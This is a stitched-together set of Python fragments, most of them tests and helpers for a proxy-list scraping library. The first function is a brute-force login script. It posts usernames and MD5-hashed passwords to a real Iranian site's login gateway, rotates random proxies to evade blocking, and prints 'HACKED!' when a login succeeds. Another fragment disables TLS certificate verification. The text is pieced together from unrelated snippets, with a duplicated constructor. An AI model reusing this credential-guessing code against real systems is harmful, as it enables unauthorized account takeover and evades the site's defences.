def correspond_data(username, password): proxy_list = ProxyList() data = dict(UserPassword=convert_to_md5(password), pswdStatus='mediocre', UserID=username, DummyVar='') while True: try: request = requests.post('http://puya.ubahar.ir/gateway/UserInterim.php', data=data, proxies=proxy_list.get_random_proxy()) if request.status_code == 200 and 'راهنما' in request.text: print('True: ' + username + ' - ' + password + ' ━━━━━━━━━━ HACKED!') else: print('False: ' + username + ' - ' + password) return False except: print('Proxy Error: ' + username + ' - ' + password)
class ProxyRequest: def __init__(self): self._proxy_lit = ProxyList() self._proxies = None def __get_new_proxies(self): self._proxies = self._proxy_lit.get_proxies() def get_auth_token(self): if self._proxies is None: self.__get_new_proxies() assert 'username' in self._proxies assert 'password' in self._proxies return b64encode(self._proxies['username'] + ':' + self._proxies['password']) def __get_random_proxy(self): if self._proxies is None: self.__get_new_proxies() assert 'hosts' in self._proxies result = choice(self._proxies['hosts']) assert 'ip' in result assert 'port' in result return result['ip'] + ':' + str(result['port']) def http_get(self, url): connection = HTTPSConnection(self.__get_random_proxy(), context=_create_unverified_context()) connection.request(method='GET', url=url, headers={'Proxy-Authorization': 'Basic ' + self.get_auth_token()}) response = connection.getresponse() return {'status': response.status, 'reason': response.reason, 'data': response.read()}
def test_with_interval(): proxy_list = ProxyList() proxy_list.update(interval = 120) proxies_first = proxy_list.get() check_proxies(proxies_first, 2000) time.sleep(180) proxies_second = proxy_list.get() check_proxies(proxies_second, 2000) assert proxies_first != proxies_second
from proxy_list import ProxyList from datetime import datetime if __name__ == '__main__': px = ProxyList(datetime.now().strftime("sqlite:///proxy_%Y%m%d.db")) headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", "Dnt": "1", "Host": "httpbin.org", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36", } #px.set_header(headers=headers) px.parse()
def __init__(self): self._proxy_lit = ProxyList() self._proxies = None
def test_with_selector(): selector = {'country': 'US', 'port': ['80', '8080']} check_proxies(ProxyList().update(selector = selector), 150, selector)
def test_with_specified_url(): check_proxies(ProxyList().update(url = 'https://google.com/'), 250)
def test_with_disabled_parsers(): from proxy_list.parsers.hidester_com import hidester_com check_proxies(ProxyList().update(disabled_parsers = [hidester_com]), 600)
def test_with_specified_parsers(): from proxy_list.parsers.free_proxy_list_net import free_proxy_list_net check_proxies(ProxyList().update(parsers = [free_proxy_list_net]), 600)
def test_with_check(): check_proxies(ProxyList().update(check = True), 350)
def test_default(): check_proxies(ProxyList().update(), 2000)